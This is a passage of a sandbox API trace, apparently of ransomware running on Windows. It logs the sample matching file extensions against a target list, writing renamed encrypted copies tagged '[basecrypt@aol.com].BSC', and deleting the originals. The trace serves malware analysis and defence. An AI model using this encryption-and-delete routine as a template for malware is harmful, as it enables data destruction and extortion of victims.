(lpString=".bz2") returned 4 [0117.253] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.253] lstrlenW (lpString=".7z") returned 3 [0117.253] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.253] lstrlenW (lpString=".dbf") returned 4 [0117.253] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.253] lstrlenW (lpString=".1cd") returned 4 [0117.253] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.253] lstrlenW (lpString=".jpg") returned 4 [0117.253] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.254] lstrlenW (lpString=".doc") returned 4 [0117.254] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.254] lstrlenW (lpString=".docx") returned 5 [0117.254] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0117.254] lstrlenW (lpString=".pdf") returned 4 [0117.254] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.254] lstrlenW (lpString=".xls") returned 4 [0117.254] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.254] lstrlenW (lpString=".xlsx") returned 5 [0117.254] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0117.254] lstrlenW (lpString=".ppt") returned 4 [0117.254] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.254] lstrlenW (lpString=".zip") returned 4 [0117.254] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.254] lstrlenW (lpString=".rar") returned 4 [0117.254] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.254] lstrlenW (lpString=".bz2") returned 4 [0117.254] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.254] lstrlenW (lpString=".7z") returned 3 [0117.254] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.254] lstrlenW (lpString=".dbf") returned 4 [0117.254] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.254] lstrlenW (lpString=".1cd") returned 4 [0117.254] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.254] lstrlenW (lpString=".jpg") returned 4 [0117.254] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.255] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0117.255] lstrlenW (lpString="ipsnor.xml") returned 10 [0117.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 19 os_tid = 0xd78 [0099.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3cd1b38 [0099.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3ce1b40 [0099.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61aca0 [0099.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x64d0c0 [0099.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61acb8 [0099.855] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x4172020 [0099.857] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61acd0 [0099.857] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61acd0, Size=0x20) returned 0x5fec78 [0099.857] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61acd0 [0099.857] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61acd0, Size=0x20) returned 0x5feb88 [0099.857] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0099.858] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0099.858] Wow64DisableWow64FsRedirection (in: OldValue=0x37bff50 | out: OldValue=0x37bff50*=0x0) returned 1 [0099.858] lstrlenW (lpString="kernel32.dll") returned 12 [0099.858] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec78 | out: hHeap=0x5c0000) returned 1 [0099.858] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0099.858] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb88 | out: hHeap=0x5c0000) returned 1 [0099.858] Sleep (dwMilliseconds=0x64) [0099.998] Sleep (dwMilliseconds=0x64) [0100.240] Sleep (dwMilliseconds=0x64) [0100.460] lstrcmpiW (lpString1=".log", lpString2=".BSC") returned 1 [0100.460] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0100.460] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0100.499] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=40) returned 1 [0100.499] CloseHandle (hObject=0x2e8) returned 1 [0100.500] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0100.500] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0100.500] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0100.500] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.500] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.501] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0100.501] GetLastError () returned 0x0 [0100.501] ReadFile (in: hFile=0x2e8, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x28, lpOverlapped=0x0) returned 1 [0100.514] WriteFile (in: hFile=0x2ec, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x30, lpOverlapped=0x0) returned 1 [0100.515] ReadFile (in: hFile=0x2e8, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0100.515] WriteFile (in: hFile=0x2ec, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x110, lpOverlapped=0x0) returned 1 [0100.515] SetEndOfFile (hFile=0x2ec) returned 1 [0100.516] CloseHandle (hObject=0x2ec) returned 1 [0100.517] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0100.517] SetEndOfFile (hFile=0x2e8) returned 1 [0100.518] CloseHandle (hObject=0x2e8) returned 1 [0100.518] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x20) returned 1 [0100.519] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0100.519] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.519] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.519] lstrlenW (lpString=".doc") returned 4 [0100.519] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0100.519] lstrlenW (lpString=".docx") returned 5 [0100.519] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0100.519] lstrlenW (lpString=".pdf") returned 4 [0100.519] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0100.519] lstrlenW (lpString=".xls") returned 4 [0100.519] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0100.519] lstrlenW (lpString=".xlsx") returned 5 [0100.519] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0100.519] lstrlenW (lpString=".ppt") returned 4 [0100.519] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0100.519] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.520] lstrlenW (lpString=".zip") returned 4 [0100.520] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0100.520] lstrlenW (lpString=".rar") returned 4 [0100.520] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0100.520] lstrlenW (lpString=".bz2") returned 4 [0100.520] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0100.520] lstrlenW (lpString=".7z") returned 3 [0100.520] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0100.520] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.520] lstrlenW (lpString=".dbf") returned 4 [0100.520] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0100.520] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.520] lstrlenW (lpString=".1cd") returned 4 [0100.520] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0100.520] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.520] lstrlenW (lpString=".jpg") returned 4 [0100.520] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0100.520] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.520] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.520] lstrlenW (lpString=".doc") returned 4 [0100.520] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0100.520] lstrlenW (lpString=".docx") returned 5 [0100.520] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0100.520] lstrlenW (lpString=".pdf") returned 4 [0100.521] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0100.521] lstrlenW (lpString=".xls") returned 4 [0100.521] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0100.521] lstrlenW (lpString=".xlsx") returned 5 [0100.521] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0100.521] lstrlenW (lpString=".ppt") returned 4 [0100.521] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0100.521] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.521] lstrlenW (lpString=".zip") returned 4 [0100.521] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0100.521] lstrlenW (lpString=".rar") returned 4 [0100.521] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0100.521] lstrlenW (lpString=".bz2") returned 4 [0100.521] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0100.521] lstrlenW (lpString=".7z") returned 3 [0100.521] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0100.521] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.521] lstrlenW (lpString=".dbf") returned 4 [0100.521] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0100.521] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.521] lstrlenW (lpString=".1cd") returned 4 [0100.521] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0100.521] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0100.521] lstrlenW (lpString=".jpg") returned 4 [0100.521] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0100.522] Sleep (dwMilliseconds=0x64) [0100.817] Sleep (dwMilliseconds=0x64) [0101.204] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0101.205] lstrlenW (lpString="LocalizedData.xml") returned 17 [0101.205] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.205] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=74214) returned 1 [0101.205] CloseHandle (hObject=0x318) returned 1 [0101.205] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0101.205] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.205] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0101.205] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0101.205] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0101.205] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0101.205] GetLastError () returned 0x0 [0101.205] ReadFile (in: hFile=0x318, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x121e6, lpOverlapped=0x0) returned 1 [0101.419] WriteFile (in: hFile=0x31c, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x121f0, lpOverlapped=0x0) returned 1 [0101.421] ReadFile (in: hFile=0x318, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0101.421] WriteFile (in: hFile=0x31c, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xf6, lpOverlapped=0x0) returned 1 [0101.421] SetEndOfFile (hFile=0x31c) returned 1 [0101.422] CloseHandle (hObject=0x31c) returned 1 [0101.424] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0101.424] SetEndOfFile (hFile=0x318) returned 1 [0101.425] CloseHandle (hObject=0x318) returned 1 [0101.425] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0101.425] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0101.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.426] lstrlenW (lpString=".doc") returned 4 [0101.426] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.426] lstrlenW (lpString=".docx") returned 5 [0101.426] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0101.426] lstrlenW (lpString=".pdf") returned 4 [0101.426] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.426] lstrlenW (lpString=".xls") returned 4 [0101.426] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.426] lstrlenW (lpString=".xlsx") returned 5 [0101.426] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0101.426] lstrlenW (lpString=".ppt") returned 4 [0101.426] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.426] lstrlenW (lpString=".zip") returned 4 [0101.426] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.426] lstrlenW (lpString=".rar") returned 4 [0101.426] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.426] lstrlenW (lpString=".bz2") returned 4 [0101.426] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.426] lstrlenW (lpString=".7z") returned 3 [0101.426] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.426] lstrlenW (lpString=".dbf") returned 4 [0101.426] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.426] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.427] lstrlenW (lpString=".1cd") returned 4 [0101.427] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.427] lstrlenW (lpString=".jpg") returned 4 [0101.427] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.427] lstrlenW (lpString=".doc") returned 4 [0101.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0101.427] lstrlenW (lpString=".docx") returned 5 [0101.427] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0101.427] lstrlenW (lpString=".pdf") returned 4 [0101.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0101.427] lstrlenW (lpString=".xls") returned 4 [0101.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0101.427] lstrlenW (lpString=".xlsx") returned 5 [0101.427] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0101.427] lstrlenW (lpString=".ppt") returned 4 [0101.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0101.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.427] lstrlenW (lpString=".zip") returned 4 [0101.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0101.427] lstrlenW (lpString=".rar") returned 4 [0101.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0101.427] lstrlenW (lpString=".bz2") returned 4 [0101.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0101.427] lstrlenW (lpString=".7z") returned 3 [0101.427] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0101.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.427] lstrlenW (lpString=".dbf") returned 4 [0101.427] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0101.427] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.428] lstrlenW (lpString=".1cd") returned 4 [0101.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0101.428] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0101.428] lstrlenW (lpString=".jpg") returned 4 [0101.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.428] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0101.428] lstrlenW (lpString="LocalizedData.xml") returned 17 [0101.428] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0101.561] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x37bff14 | out: lpFileSize=0x37bff14*=80970) returned 1 [0101.561] CloseHandle (hObject=0x334) returned 1 [0101.561] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0101.561] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.561] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0101.562] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0101.562] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0101.562] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0101.562] GetLastError () returned 0x0 [0101.562] ReadFile (in: hFile=0x334, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x13c4a, lpOverlapped=0x0) returned 1 [0102.134] WriteFile (in: hFile=0x338, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0x13c50, lpOverlapped=0x0) returned 1 [0102.140] ReadFile (in: hFile=0x334, lpBuffer=0x4172020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37bfecc, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesRead=0x37bfecc*=0x0, lpOverlapped=0x0) returned 1 [0102.140] WriteFile (in: hFile=0x338, lpBuffer=0x4172020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x37bfc94, lpOverlapped=0x0 | out: lpBuffer=0x4172020*, lpNumberOfBytesWritten=0x37bfc94*=0xf6, lpOverlapped=0x0) returned 1 [0102.140] SetEndOfFile (hFile=0x338) returned 1 [0102.140] CloseHandle (hObject=0x338) returned 1 [0102.143] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37bfec0 | out: lpNewFilePointer=0x0) returned 1 [0102.143] SetEndOfFile (hFile=0x334) returned 1 [0102.145] CloseHandle (hObject=0x334) returned 1 [0102.145] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.145] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0102.145] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.145] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.145] lstrlenW (lpString=".doc") returned 4 [0102.145] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.145] lstrlenW (lpString=".docx") returned 5 [0102.145] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0102.146] lstrlenW (lpString=".pdf") returned 4 [0102.146] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.146] lstrlenW (lpString=".xls") returned 4 [0102.146] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.146] lstrlenW (lpString=".xlsx") returned 5 [0102.146] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0102.146] lstrlenW (lpString=".ppt") returned 4 [0102.146] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.146] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0102.146] lstrlenW (lpString=".zip") returned 4 [0102.146] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.146] lstrlenW (lpString=".rar") returned 4 [0102.146] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.146] lstrlenW (lpString=".bz2") returned 4 [0102.146] lstrcmpiW 